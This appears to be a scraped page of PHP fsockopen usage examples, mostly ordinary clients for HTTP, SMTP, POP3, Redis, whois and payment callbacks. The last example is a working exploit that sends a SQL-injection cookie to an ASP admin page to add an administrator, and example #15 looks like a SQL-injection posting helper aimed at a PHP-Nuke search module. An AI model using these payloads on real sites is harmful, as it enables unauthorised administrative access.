Пример #1
3
/**
 * Submits an HTTP POST to a reCAPTCHA server
 * @param string $host
 * @param string $path
 * @param array $data
 * @param int port
 * @return array response
 */
function _recaptcha_http_post($host, $path, $data, $port = 80)
{
    $req = _recaptcha_qsencode($data);
    $proxy_host = "proxy.iiit.ac.in";
    $proxy_port = "8080";
    $http_request = "POST http://{$host}{$path} HTTP/1.0\r\n";
    $http_request .= "Host: {$host}\r\n";
    $http_request .= "Content-Type: application/x-www-form-urlencoded;\r\n";
    $http_request .= "Content-Length: " . strlen($req) . "\r\n";
    $http_request .= "User-Agent: reCAPTCHA/PHP\r\n";
    $http_request .= "\r\n";
    $http_request .= $req;
    $response = '';
    if (false == ($fs = @fsockopen($proxy_host, $proxy_port, $errno, $errstr, 10))) {
        die('Could not open socket aah');
    }
    fwrite($fs, $http_request);
    while (!feof($fs)) {
        $response .= fgets($fs, 1160);
    }
    // One TCP-IP packet
    fclose($fs);
    $response = explode("\r\n\r\n", $response, 2);
    return $response;
}
Пример #2
1
 /**
  * http post request
  *
  * @codeCoverageIgnore
  *
  * @param       $url
  * @param array $query
  * @param       $port
  *
  * @return mixed
  */
 public static function sockPost($url, $query, $port = 80)
 {
     $data = '';
     $info = parse_url($url);
     $fp = fsockopen($info['host'], $port, $errno, $errstr, 30);
     if (!$fp) {
         return $data;
     }
     $head = 'POST ' . $info['path'] . " HTTP/1.0\r\n";
     $head .= 'Host: ' . $info['host'] . "\r\n";
     $head .= 'Referer: http://' . $info['host'] . $info['path'] . "\r\n";
     $head .= "Content-type: application/x-www-form-urlencoded\r\n";
     $head .= 'Content-Length: ' . strlen(trim($query)) . "\r\n";
     $head .= "\r\n";
     $head .= trim($query);
     $write = fwrite($fp, $head);
     $header = '';
     while ($str = trim(fgets($fp, 4096))) {
         $header .= $str;
     }
     while (!feof($fp)) {
         $data .= fgets($fp, 4096);
     }
     return $data;
 }
Пример #3
0
function sendMemcacheCommand($server, $port, $command)
{
    $s = @fsockopen($server, $port);
    if (!$s) {
        die("Cant connect to:" . $server . ':' . $port);
    }
    fwrite($s, $command . "\r\n");
    $buf = '';
    while (!feof($s)) {
        $buf .= fgets($s, 256);
        if (strpos($buf, "END\r\n") !== false) {
            // stat says end
            break;
        }
        if (strpos($buf, "DELETED\r\n") !== false || strpos($buf, "NOT_FOUND\r\n") !== false) {
            // delete says these
            break;
        }
        if (strpos($buf, "OK\r\n") !== false) {
            // flush_all says ok
            break;
        }
    }
    fclose($s);
    return parseMemcacheResults($buf);
}
 function downloadToString()
 {
     $crlf = "\r\n";
     // generate request
     $req = 'GET ' . $this->_uri . ' HTTP/1.0' . $crlf . 'Host: ' . $this->_host . $crlf . $crlf;
     // fetch
     $this->_fp = fsockopen(($this->_protocol == 'https' ? 'ssl://' : '') . $this->_host, $this->_port);
     fwrite($this->_fp, $req);
     while (is_resource($this->_fp) && $this->_fp && !feof($this->_fp)) {
         $response .= fread($this->_fp, 1024);
     }
     fclose($this->_fp);
     // split header and body
     $pos = strpos($response, $crlf . $crlf);
     if ($pos === false) {
         return $response;
     }
     $header = substr($response, 0, $pos);
     $body = substr($response, $pos + 2 * strlen($crlf));
     // parse headers
     $headers = array();
     $lines = explode($crlf, $header);
     foreach ($lines as $line) {
         if (($pos = strpos($line, ':')) !== false) {
             $headers[strtolower(trim(substr($line, 0, $pos)))] = trim(substr($line, $pos + 1));
         }
     }
     // redirection?
     if (isset($headers['location'])) {
         $http = new ilHttpRequest($headers['location']);
         return $http->DownloadToString($http);
     } else {
         return $body;
     }
 }
Пример #5
0
function http_send($_url, $_body)
{
    $errno = 0;
    $errstr = '';
    $timeout = 10;
    $fp = fsockopen(_IP_, _PORT_, $errno, $errstr, $timeout);
    if (!$fp) {
        return FALSE;
    }
    $_head = "POST /" . $_url . " HTTP/1.1\r\n";
    $_head .= "Host: " . _IP_ . ":" . _PORT_ . "\r\n";
    $_head .= "Content-Type: Text/plain\r\n";
    if (!$_body) {
        $body_len = 0;
    } else {
        $body_len = strlen($_body);
    }
    $send_pkg = $_head . "Content-Length:" . $body_len . "\r\n\r\n" . $_body;
    ilog(iLOG_INFO, "    -----> http_send url: " . $_url);
    ilog(iLOG_INFO, "    -----> http_send body: " . $_body);
    if (fputs($fp, $send_pkg) === FALSE) {
        return FALSE;
    }
    //设置3s超时
    stream_set_timeout($fp, 3);
    while (!feof($fp)) {
        ilog(iLOG_INFO, "    -----> rsp: " . fgets($fp, 128));
    }
    if ($fp) {
        fclose($fp);
    }
    return TRUE;
}
Пример #6
0
function send_request_via_fsockopen1($host, $path, $content)
{
    $posturl = "ssl://" . $host;
    $header = "Host: {$host}\r\n";
    $header .= "User-Agent: PHP Script\r\n";
    $header .= "Content-Type: text/xml\r\n";
    $header .= "Content-Length: " . strlen($content) . "\r\n";
    $header .= "Connection: close\r\n\r\n";
    $fp = fsockopen($posturl, 443, $errno, $errstr, 30);
    if (!$fp) {
        $response = false;
    } else {
        error_reporting(E_ERROR);
        fputs($fp, "POST {$path}  HTTP/1.1\r\n");
        fputs($fp, $header . $content);
        fwrite($fp, $out);
        $response = "";
        while (!feof($fp)) {
            $response = $response . fgets($fp, 128);
        }
        fclose($fp);
        error_reporting(E_ALL ^ E_NOTICE);
    }
    return $response;
}
Пример #7
0
 /**
  * Construct a new NetworkPrintConnector
  *
  * @param string $ip IP address or hostname to use.
  * @param string $port The port number to connect on.
  * @throws Exception Where the socket cannot be opened.
  */
 public function __construct($ip, $port = "9100")
 {
     $this->fp = @fsockopen($ip, $port, $errno, $errstr);
     if ($this->fp === false) {
         throw new Exception("Cannot initialise NetworkPrintConnector: " . $errstr);
     }
 }
Пример #8
0
function n2k_request_response($request, $description = 'N2K')
{
    $errno = 0;
    $errstr = '';
    $n2k = @fsockopen('localhost', 2597, $errno, $errstr, 15);
    if (!$n2k) {
        echo "Cannot connect to N2KD: {$errstr}\n";
        exit(1);
    }
    #
    # Ask for device list
    #
    if ($request !== null) {
        fwrite($n2k, $request . "\n");
    }
    $s = '';
    while (!feof($n2k)) {
        $s .= fgets($n2k, 1024);
    }
    fclose($n2k);
    $data = json_decode($s, true);
    if (!is_array($data)) {
        echo "Error: received invalid response for {$description} request\n";
        exit(1);
    }
    return $data;
}
Пример #9
0
 function openstats()
 {
     $fp = fsockopen($this->host, $this->port, $errno, $errstr, 10);
     if (!$fp) {
         $this->_error = "{$errstr} ({$errno})";
         return 0;
     } else {
         fputs($fp, "GET /admin.cgi?pass="******"&mode=viewxml HTTP/1.0\r\n");
         fputs($fp, "User-Agent: Mozilla\r\n\r\n");
         while (!feof($fp)) {
             $this->_xml .= fgets($fp, 512);
         }
         fclose($fp);
         if (stristr($this->_xml, "HTTP/1.0 200 OK") == true) {
             // <-H> Thanks to Blaster for this fix.. trim();
             $this->_xml = trim(substr($this->_xml, 42));
         } else {
             $this->_error = "Bad login";
             return 0;
         }
         $xmlparser = xml_parser_create();
         if (!xml_parse_into_struct($xmlparser, $this->_xml, $this->_values, $this->_indexes)) {
             $this->_error = "Unparsable XML";
             return 0;
         }
         xml_parser_free($xmlparser);
         return 1;
     }
 }
Пример #10
0
 /**
  * Constructor.
  *
  * @access  public
  * @param   string  $host  Redis host
  * @param   string  $port  Redis port
  */
 public function __construct($host, $port = 6379)
 {
     $this->connection = @fsockopen('tcp://' . $host, $port, $errNo, $errStr);
     if (!$this->connection) {
         throw new RedisException(vsprintf("%s(): %s", [__METHOD__, $errStr]), (int) $errNo);
     }
 }
Пример #11
0
 function DoTest($testname, $param, $hostname, $timeout, $params)
 {
     echo "Called for " . $hostname . " port " . $param . " timeout " . $timeout . "\n";
     $timer = new TFNTimer();
     $ip = ip_lookup($hostname);
     echo $hostname . " => " . $ip . "\n";
     if ($ip == "0") {
         return -2;
     }
     // lookup failed
     echo "Lookup Successful\n";
     $errno = 0;
     $errstr = "";
     $timer->Start();
     echo "Doing fsockopen()\n";
     $fp = @fsockopen($ip, $param, $errno, $errstr, $timeout);
     $elapsed = $timer->Stop();
     echo "FP is : ";
     echo $fp;
     echo "\n";
     if ($fp === false) {
         return -1;
     }
     // open failed
     echo "Closing\n";
     @fclose($fp);
     return $elapsed;
 }
Пример #12
0
 function get()
 {
     if (!empty($this->url)) {
         $fp = fsockopen($this->host, 80, $errno, $errstr, 30);
         if (!$fp) {
             $this->status = false;
             //$this->error['error_number'] = $errno;
             //$this->error['error_msg']    = $errstr;
         } else {
             // here, we use double quotes to replace single quotes, or 400 error.
             fputs($fp, 'GET ' . $this->path . " HTTP/1.1\r\n");
             fputs($fp, 'User-Agent: ' . $this->user_agent . "\r\n");
             fputs($fp, 'Host: ' . $this->host . "\r\n");
             fputs($fp, "Connection: close\r\n\r\n");
             while (!feof($fp)) {
                 $line = fgets($fp);
                 $this->content .= $line;
             }
             fclose($fp);
             if (preg_match('/sogourank=(\\d+)/', $this->content, $matches) > 0) {
                 $this->response .= $matches[1];
             }
         }
     } else {
         $this->status = false;
     }
 }
Пример #13
0
 public function request()
 {
     if ($this->_uri === null) {
         throw new Modela_Exception("uri is not valid");
     }
     $sock = @fsockopen($this->_uriParts["host"], $this->_uriParts["port"]);
     if (!$sock) {
         throw new Modela_Exception('unable to open socket');
     }
     $requestString = $this->_method . " " . $this->_uriParts["path"];
     if ($this->_uriParts["query"]) {
         $requestString .= "?" . $this->_uriParts["query"];
     }
     $socketData = $requestString . self::HTTP_CRLF;
     if ($this->_data) {
         $socketData .= "Content-length: " . strlen($this->_data) . self::HTTP_CRLF;
         $socketData .= "Content-type: application/json" . self::HTTP_CRLF;
         $socketData .= "Connection: close" . self::HTTP_CRLF;
         $socketData .= self::HTTP_CRLF;
         $socketData .= $this->_data . self::HTTP_CRLF;
     }
     $socketData .= self::HTTP_CRLF . self::HTTP_CRLF;
     fwrite($sock, $socketData);
     $output = '';
     $output .= stream_get_contents($sock);
     list($this->_headers, $this->_response) = explode("\r\n\r\n", $output);
     $this->_response = trim($this->_response);
     fclose($sock);
     return $this->_response;
 }
Пример #14
0
 private static function postSMS($http, $data)
 {
     $post = '';
     $row = parse_url($http);
     $host = $row['host'];
     $port = !empty($row['port']) ? $row['port'] : 80;
     $file = $row['path'];
     while (list($k, $v) = each($data)) {
         $post .= rawurlencode($k) . "=" . rawurlencode($v) . "&";
     }
     $post = substr($post, 0, -1);
     $len = strlen($post);
     $fp = @fsockopen($host, $port, $errno, $errstr, 10);
     // var_dump($fp);exit;
     if (!$fp) {
         return "{$errstr} ({$errno})\n";
     } else {
         $receive = '';
         $out = "POST {$file} HTTP/1.0\r\n";
         $out .= "Host: {$host}\r\n";
         $out .= "Content-type: application/x-www-form-urlencoded\r\n";
         $out .= "Connection: Close\r\n";
         $out .= "Content-Length: {$len}\r\n\r\n";
         $out .= $post;
         fwrite($fp, $out);
         while (!feof($fp)) {
             $receive .= fgets($fp, 128);
         }
         fclose($fp);
         $receive = explode("\r\n\r\n", $receive);
         unset($receive[0]);
         // var_dump($receive);exit;
         return implode("", $receive);
     }
 }
Пример #15
0
function sendit($param)
{
    $prefix = $_POST['prefix'];
    $data = $_POST['sql_text'];
    $host = $_POST['hostname'];
    $page = isset($_POST['dir']) ? '/' . $_POST['dir'] : '';
    $page .= '/modules.php?name=Search';
    $method = $_POST['method'];
    $ref_text = $_POST['ref_text'];
    $user_agent = $_POST['user_agent'];
    $result = '';
    $sock = fsockopen($host, 80, $errno, $errstr, 50);
    if (!$sock) {
        die("{$errstr} ({$errno})\n");
    }
    fputs($sock, "{$method} /{$page} HTTP/1.0\r\n");
    fputs($sock, "Host: {$host}" . "\r\n");
    fputs($sock, "Content-type: application/x-www-form-urlencoded\r\n");
    fputs($sock, "Content-length: " . strlen($data) . "\r\n");
    fputs($sock, "Referer: {$ref_text}" . "\r\n");
    fputs($sock, "User-Agent: {$user_agent}" . "\r\n");
    fputs($sock, "Accept: */*\r\n");
    fputs($sock, "\r\n");
    fputs($sock, "{$data}\r\n");
    fputs($sock, "\r\n");
    while (!feof($sock)) {
        $result .= fgets($sock, 8192);
    }
    fclose($sock);
    return $result;
}
 function getpr($url)
 {
     $ch = getch($url);
     $fp = fsockopen(self::GOOGLEHOST, 80, $errno, $errstr, 30);
     if ($fp) {
         $out = "GET /search?client=navclient-auto&ch={$ch}&features=Rank&q=info:{$url} HTTP/1.1\r\n";
         //echo "<pre>$out</pre>\n"; //debug only
         $out .= "User-Agent: " . self::GOOGLEUA . "\r\n";
         $out .= "Host: " . self::GOOGLEHOST . "\r\n";
         $out .= "Connection: Close\r\n\r\n";
         fwrite($fp, $out);
         //$pagerank = substr(fgets($fp, 128), 4); //debug only
         //echo $pagerank; //debug only
         while (!feof($fp)) {
             $data = fgets($fp, 128);
             //echo $data;
             $pos = strpos($data, "Rank_");
             if ($pos === false) {
             } else {
                 $pr = substr($data, $pos + 9);
                 $pr = trim($pr);
                 $pr = str_replace("\n", '', $pr);
                 return $pr;
             }
         }
         //else { echo "$errstr ($errno)<br />\n"; } //debug only
         fclose($fp);
     }
 }
Пример #17
0
 public function send_mail()
 {
     $talk = array();
     if ($SMTPIN = fsockopen($this->SmtpServer, $this->PortSMTP)) {
         fputs($SMTPIN, "EHLO " . $HTTP_HOST . "\r\n");
         $talk["hello"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, "auth login\r\n");
         $talk["res"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, $this->SmtpUser . "\r\n");
         $talk["user"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, $this->SmtpPass . "\r\n");
         $talk["pass"] = fgets($SMTPIN, 256);
         fputs($SMTPIN, "MAIL FROM: <" . $this->from . ">\r\n");
         $talk["From"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, "RCPT TO: <" . $this->to . ">\r\n");
         $talk["To"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, "DATA\r\n");
         $talk["data"] = fgets($SMTPIN, 1024);
         //Construct Headers
         $headers = "MIME-Version: 1.0" . $this->newLine;
         $headers .= "Content-type: text/html; charset=iso-8859-1" . $this->newLine;
         $headers .= "From: <" . $this->from . ">" . $this->newLine;
         $headers .= "To: <" . $this->to . ">" . $this->newLine;
         $headers .= "Bcc: {$this->newLine}";
         $headers .= "Subject: " . $this->subject . $this->newLine;
         fputs($SMTPIN, $headers . "\r\n\r\n" . $this->body . "\r\n.\r\n");
         $talk["send"] = fgets($SMTPIN, 256);
         //CLOSE CONNECTION AND EXIT ...
         fputs($SMTPIN, "QUIT\r\n");
         fclose($SMTPIN);
     }
     return $talk;
 }
Пример #18
0
 /**
  *    返回通知结果
  *
  *    @author    Garbin
  *    @param     array $order_info
  *    @param     bool  $strict
  *    @return    array
  */
 function verify_notify($order_info, $strict = false)
 {
     if (empty($order_info)) {
         $this->_error('order_info_empty');
         return false;
     }
     $merchant_id = $this->_config['paypal_account'];
     $req = 'cmd=_notify-validate';
     foreach ($_POST as $key => $value) {
         $value = urlencode(stripslashes($value));
         $req .= "&{$key}={$value}";
     }
     $header = "POST /cgi-bin/webscr HTTP/1.0\r\n";
     $header .= "Content-Type: application/x-www-form-urlencoded\r\n";
     $header .= "Content-Length: " . strlen($req) . "\r\n\r\n";
     $fp = fsockopen('www.sandbox.paypal.com', 80, $errno, $errstr, 30);
     $item_name = $_POST['item_name'];
     $item_number = $_POST['item_number'];
     $payment_status = $_POST['payment_status'];
     $payment_amount = $_POST['mc_gross'];
     $payment_currency = $_POST['mc_currency'];
     $txn_id = $_POST['txn_id'];
     $receiver_email = $_POST['receiver_email'];
     $payer_email = $_POST['payer_email'];
     $order_sn = $_POST['invoice'];
     $memo = empty($_POST['memo']) ? '' : $_POST['memo'];
     if (!$fp) {
         fclose($fp);
         return false;
     } else {
         fputs($fp, $header . $req);
         while (!feof($fp)) {
             $res = fgets($fp, 1024);
             if (strcmp($res, 'VERIFIED') == 0) {
                 if ($payment_status != 'Completed' && $payment_status != 'Pending') {
                     fclose($fp);
                     return false;
                 }
                 if ($receiver_email != $merchant_id) {
                     fclose($fp);
                     return false;
                 }
                 if ($order_info['order_amount'] != $payment_amount) {
                     fclose($fp);
                     $this->_error('money_inequalit');
                     return false;
                 }
                 if ($this->_config['paypal_currency'] != $payment_currency) {
                     fclose($fp);
                     return false;
                 }
                 fclose($fp);
                 return array('target' => ORDER_ACCEPTED);
             } elseif (strcmp($res, 'INVALID') == 0) {
                 fclose($fp);
                 return false;
             }
         }
     }
 }
Пример #19
0
 function SendMail()
 {
     if ($SMTPIN = fsockopen($this->SmtpServer, $this->PortSMTP)) {
         fputs($SMTPIN, "EHLO " . $HTTP_HOST . "\r\n");
         $talk["hello"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, "auth login\r\n");
         $talk["res"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, $this->SmtpUser . "\r\n");
         $talk["user"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, $this->SmtpPass . "\r\n");
         $talk["pass"] = fgets($SMTPIN, 256);
         fputs($SMTPIN, "MAIL FROM: <" . $this->from . ">\r\n");
         $talk["From"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, "RCPT TO: <" . $this->to . ">\r\n");
         $talk["To"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, "DATA\r\n");
         $talk["data"] = fgets($SMTPIN, 1024);
         fputs($SMTPIN, "To: <" . $this->to . ">\r\nFrom: <" . $this->from . ">\r\nSubject:" . $this->subject . "\r\n\r\n\r\n" . $this->body . "\r\n.\r\n");
         $talk["send"] = fgets($SMTPIN, 256);
         //CLOSE CONNECTION AND EXIT ...
         fputs($SMTPIN, "QUIT\r\n");
         fclose($SMTPIN);
         //
     }
     return $talk;
 }
Пример #20
0
 function PostRequest($url, $referer, $_data, $addheader = null)
 {
     $data = null;
     while (list($n, $v) = each($_data)) {
         $data .= '&' . $n . '=' . rawurlencode($v);
     }
     $data = substr($data, 1);
     $url = parse_url($url);
     if ($url['scheme'] != 'http') {
         die("Only HTTP-Request are supported");
     }
     $host = $url['host'];
     $path = $url['path'];
     $fp = fsockopen($host, 80);
     fputs($fp, "POST {$path} HTTP/1.1\r\n");
     fputs($fp, "Host: {$host}\r\n");
     fputs($fp, "Referer: {$referer}\r\n");
     fputs($fp, "User-Agent: BotTool (http://testhh.pytalhost.com)\r\n");
     fputs($fp, "Content-type: application/x-www-form-urlencoded\r\n");
     fputs($fp, "Content-length: " . strlen($data) . "\r\n");
     if ($addheader != '') {
         fputs($fp, $addheader);
     }
     fputs($fp, "Connection: close\r\n\r\n");
     fputs($fp, $data);
     $result = null;
     while (!feof($fp)) {
         $result .= fgets($fp, 128);
     }
     fclose($fp);
     $result = explode("\r\n\r\n", $result, 2);
     $header = isset($result[0]) ? $result[0] : '';
     $content = isset($result[1]) ? $result[1] : '';
     return array($header, $content);
 }
Пример #21
0
 /**
  * @param string $ip      IP of the MC server
  * @param int    $port    Port of the MC server
  * @param int    $timeout Timeout
  * @throws InvalidArgumentException
  */
 public function __construct($ip, $port = 25565, $timeout = 5)
 {
     $time = microtime(true);
     if (!is_int($timeout) || $timeout < 0) {
         throw new InvalidArgumentException('Timeout must be an integer.');
     }
     // Connect to the server
     $this->socket = @fsockopen('udp://' . $ip, (int) $port, $errorNumber, $errorString, $timeout);
     // Failure?
     if ($errorNumber || $this->socket === false) {
         $this->online = false;
         return;
     }
     stream_set_blocking($this->socket, true);
     stream_set_timeout($this->socket, (int) $timeout);
     try {
         $challenge = $this->fetchChallenge();
         $this->fetchStatus($challenge);
     } catch (MinecraftQueryException $e) {
         fclose($this->socket);
         $this->online = false;
         return;
     }
     fclose($this->socket);
     $this->duration = microtime(true) - $time;
 }
 public function connect($host, $port, $path, $origin = false)
 {
     $this->_host = $host;
     $this->_port = $port;
     $this->_path = $path;
     $this->_origin = $origin;
     $key = base64_encode($this->_generateRandomString(16, false, true));
     $header = "GET " . $path . " HTTP/1.1\r\n";
     $header .= "Host: " . $host . ":" . $port . "\r\n";
     $header .= "Upgrade: websocket\r\n";
     $header .= "Connection: Upgrade\r\n";
     $header .= "Sec-WebSocket-Key: " . $key . "\r\n";
     if ($origin !== false) {
         $header .= "Sec-WebSocket-Origin: " . $origin . "\r\n";
     }
     $header .= "Sec-WebSocket-Version: 13\r\n";
     $this->_Socket = fsockopen($host, $port, $errno, $errstr, 2);
     socket_set_timeout($this->_Socket, 0, 10000);
     @fwrite($this->_Socket, $header);
     $response = @fread($this->_Socket, 1500);
     preg_match('#Sec-WebSocket-Accept:\\s(.*)$#mU', $response, $matches);
     $keyAccept = trim($matches[1]);
     $expectedResonse = base64_encode(pack('H*', sha1($key . '258EAFA5-E914-47DA-95CA-C5AB0DC85B11')));
     $this->_connected = $keyAccept === $expectedResonse ? true : false;
     return $this->_connected;
 }
Пример #23
0
 /**
  * url 为服务的url地址
  * query 为请求串
  */
 private function sock_post($url, $query)
 {
     $data = "";
     $info = parse_url($url);
     $fp = fsockopen($info["host"], 80, $errno, $errstr, 30);
     if (!$fp) {
         return $data;
     }
     $head = "POST " . $info['path'] . " HTTP/1.0\r\n";
     $head .= "Host: " . $info['host'] . "\r\n";
     $head .= "Referer: http://" . $info['host'] . $info['path'] . "\r\n";
     $head .= "Content-type: application/x-www-form-urlencoded\r\n";
     $head .= "Content-Length: " . strlen(trim($query)) . "\r\n";
     $head .= "\r\n";
     $head .= trim($query);
     $write = fputs($fp, $head);
     $header = "";
     while ($str = trim(fgets($fp, 4096))) {
         $header .= $str;
     }
     while (!feof($fp)) {
         $data .= fgets($fp, 4096);
     }
     return $data;
 }
Пример #24
0
 function queryGeoCoder($gapikey, $address)
 {
     $contents = '';
     // query use fsockopen
     $fp = @fsockopen('maps.google.com', 80, $errno, $errstr, 30);
     if ($fp !== false) {
         $out = "GET /maps/geo?&output=xml&key=" . $gapikey . "&q=" . urlencode($address) . " HTTP/1.1\r\n";
         $out .= "Host: maps.google.com\r\n";
         $out .= "Connection: Close\r\n\r\n";
         @fwrite($fp, $out);
         while (!feof($fp)) {
             $contents .= fgets($fp, 4096);
         }
         @fclose($fp);
         return $contents;
     }
     // query use fopen
     if (ini_get('allow_url_fopen')) {
         $fp = @fopen('http://maps.google.com/maps/geo?&output=xml&key=' . $gapikey . '&q=' . urlencode($address), 'r');
         if ($fp !== false) {
             while (!feof($fp)) {
                 $contents .= fread($fp, 4096);
             }
             @fclose($fp);
             return $contents;
         }
     }
     return null;
 }
Пример #25
0
 function connect($server = 'localhost', $username = '******', $secret = 'sudobash')
 {
     // Extract port if specified
     if (strpos($server, ':') !== false) {
         $parts = explode(':', $server);
         $this->server = $parts[0];
         $this->port = $parts[1];
     } else {
         $this->server = $server;
         $this->port = "5038";
     }
     $errno = $errstr = NULL;
     $this->socket = @fsockopen($this->server, $this->port, $errno, $errstr);
     if (!$this->socket) {
         $this->log("Unable to connect to manager {$this->server}:{$this->port} ({$errno}): {$errstr}");
         return false;
     }
     // read the header
     $str = fgets($this->socket);
     if ($str == false) {
         $this->log("Asterisk Manager header not received.");
         return false;
     }
     // login
     $res = $this->send_request('login', array('Username' => $username, 'Secret' => $secret));
     if (false) {
         $this->log("Failed to login.");
         $this->disconnect();
         return false;
     }
     return true;
 }
Пример #26
0
 /**
  * @return bool
  */
 public function send()
 {
     $this->conn = fsockopen($this->server, $this->port, $errno, $errstr, $this->connect_timeout);
     if (!$this->conn) {
         return False;
     }
     $this->log['connection'] = $this->get_response();
     $this->log['helo'] = $this->send_cmd($this->helo_type . ' ' . $this->localhost);
     if (!empty($this->user) and !empty($this->password)) {
         $this->log['auth'] = $this->send_cmd('AUTH LOGIN');
         $this->log['username'] = $this->send_cmd(base64_encode($this->user));
         $this->log['password'] = $this->send_cmd(base64_encode($this->password));
     }
     $this->log['mailfrom'] = $this->send_cmd('MAIL FROM:<' . $this->from[0] . '>');
     $i = 1;
     foreach (array_merge($this->to, $this->cc) as $addr) {
         $this->log['rcptto' . $i++] = $this->send_cmd('RCPT TO:<' . $addr[0] . '>');
     }
     $this->log['opendata'] = $this->send_cmd('DATA');
     $this->build_headers();
     $this->build_message();
     $this->log['adddata'] = $this->send_cmd("{$this->headers}{$this->eol}{$this->message}{$this->eol}.");
     $this->log['quit'] = $this->send_cmd('QUIT');
     fclose($this->conn);
     return substr($this->log['adddata'], 0, 3) == 250;
 }
Пример #27
0
 /**
  * Open connection to POP3 server
  *
  * @param  string      $host  hostname or IP address of POP3 server
  * @param  int|null    $port  of POP3 server, default is 110 (995 for ssl)
  * @param  string|bool $ssl   use 'SSL', 'TLS' or false
  * @throws Exception\RuntimeException
  * @return string welcome message
  */
 public function connect($host, $port = null, $ssl = false)
 {
     if ($ssl == 'SSL') {
         $host = 'ssl://' . $host;
     }
     if ($port === null) {
         $port = $ssl == 'SSL' ? 995 : 110;
     }
     $errno = 0;
     $errstr = '';
     $this->_socket = @fsockopen($host, $port, $errno, $errstr, self::TIMEOUT_CONNECTION);
     if (!$this->_socket) {
         throw new Exception\RuntimeException('cannot connect to host; error = ' . $errstr . ' (errno = ' . $errno . ' )');
     }
     $welcome = $this->readResponse();
     strtok($welcome, '<');
     $this->_timestamp = strtok('>');
     if (!strpos($this->_timestamp, '@')) {
         $this->_timestamp = null;
     } else {
         $this->_timestamp = '<' . $this->_timestamp . '>';
     }
     if ($ssl === 'TLS') {
         $this->request('STLS');
         $result = stream_socket_enable_crypto($this->_socket, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
         if (!$result) {
             throw new Exception\RuntimeException('cannot enable TLS');
         }
     }
     return $welcome;
 }
Пример #28
0
 function search($dominio)
 {
     $dominio = strtolower(trim($dominio));
     $pos_punto = strrpos($dominio, ".");
     if (!$pos_punto) {
         return "nome di dominio non valido";
     } else {
         $estensione = substr($dominio, $pos_punto + 1);
         if (!array_key_exists($estensione, $this->mappa_estensione_server)) {
             return "estensione <b><i>." . $estensione . "</i></b> non supportata";
         }
     }
     $server = $this->mappa_estensione_server[$estensione];
     $puntatore_whois = fsockopen($server, 43, $errno, $errstr, 30);
     $html_output = '';
     if (!$puntatore_whois) {
         $html_output = "{$errstr} ({$errno})";
     } else {
         fputs($puntatore_whois, "{$dominio}\r\n");
         $html_output .= "<pre>\r\n";
         while (!feof($puntatore_whois)) {
             $html_output .= fread($puntatore_whois, 128);
         }
         $html_output .= "</pre>";
         fclose($puntatore_whois);
     }
     return $html_output;
 }
Пример #29
-1
function send($cmd)
{
    global $host, $path;
    $message = "POST " . $path . "admin/admin_manager.asp?action=add HTTP/1.1\r\n";
    $message .= "Accept: */*\r\n";
    $message .= "Referer: http://{$host}{$path}\r\n";
    $message .= "Accept-Language: zh-cn\r\n";
    $message .= "Content-Type: application/x-www-form-urlencoded\r\n";
    $message .= "User-Agent: securitylab\r\n";
    $message .= "X-Forwarded-For:1.1.1.1\r\n";
    $message .= "Host: {$host}\r\n";
    $message .= "Content-Length: " . strlen($cmd) . "\r\n";
    $message .= "Cookie: m_username=securitylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin; m_level=0; checksecuritylab'%20union%20select%20663179683474,0%20from%20m_manager%20where%20m_username%3d'admin=cf144fd7a325d1088456838f524ae9d7\r\n";
    $message .= "Connection: Close\r\n\r\n";
    $message .= $cmd;
    echo $message;
    $fp = fsockopen($host, 80);
    fputs($fp, $message);
    $resp = '';
    while ($fp && !feof($fp)) {
        $resp .= fread($fp, 1024);
    }
    echo $resp;
    return $resp;
}